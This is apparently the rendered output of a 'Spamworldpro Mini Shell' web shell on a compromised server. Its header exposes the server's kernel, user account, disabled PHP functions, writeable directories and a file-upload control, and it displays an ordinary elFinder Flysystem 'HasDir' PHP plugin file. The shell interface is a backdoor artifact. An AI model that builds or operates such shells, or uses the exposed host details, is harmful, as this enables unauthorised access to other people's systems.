Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/vendor/barryvdh/elfinder-flysystem-driver/src/Plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/vendor/barryvdh/elfinder-flysystem-driver/src/Plugin/HasDir.php
<?php

namespace Barryvdh\elFinderFlysystemDriver\Plugin;

use League\Flysystem\Filesystem;
use League\Flysystem\AdapterInterface;
use League\Flysystem\FilesystemInterface;
use League\Flysystem\Plugin\AbstractPlugin;
use League\Flysystem\Cached\CachedAdapter;

class HasDir extends AbstractPlugin
{

    /**
     * @var AdapterInterface
     */
    protected $adapter;

    /**
     * @var CachedAdapterInstance
     */
    protected $cachedAdapter = null;

    /**
     * @var Adapter has method hasDir()
     */
    private $hasMethod = false;

    /**
     * Set the Filesystem object.
     *
     * @param FilesystemInterface $filesystem
     */
    public function setFilesystem(FilesystemInterface $filesystem)
    {
        parent::setFilesystem($filesystem);

        if ( $filesystem instanceof Filesystem) {
            $this->adapter = $filesystem->getAdapter();

            // For a cached adapter, get the underlying instance
            if ($this->adapter instanceof CachedAdapter) {
                $this->cachedAdapter = $this->adapter;
                $this->adapter = $this->adapter->getAdapter();
            }

            //TODO: Check on actual implementations, not just an existing method
            $this->hasMethod = method_exists($this->adapter, 'hasDir');
        }

    }

    /**
     * Get the method name.
     *
     * @return string
     */
    public function getMethod()
    {
        return 'hasDir';
    }

    /**
     * Get the public url
     *
     * @param string $path  path to file
     *
     * @return string|false
     */
    public function handle($path = null)
    {
        if (is_null($path)) {
            return $this->hasMethod;
        }

        if ( ! $this->hasMethod) {
            return false;
        }

        return $this->getFromMethod($path);
    }

    /**
     * Get the URL using a `hasDir()` method on the adapter.
     *
     * @param  string $path
     * @return string
     */
    protected function getFromMethod($path)
    {
        $res = false;
        if ($this->cachedAdapter) {
            $res = $this->cachedAdapter->getMetadata($path);
        }
        if (!$res || !isset($res['hasdir'])) {
            $res = $this->adapter->hasDir($path);
        }
        if (is_array($res)) {
            return isset($res['hasdir'])? $res['hasdir'] : true;
        } else {
            return $res;
        }
    }

}

Spamworldpro Mini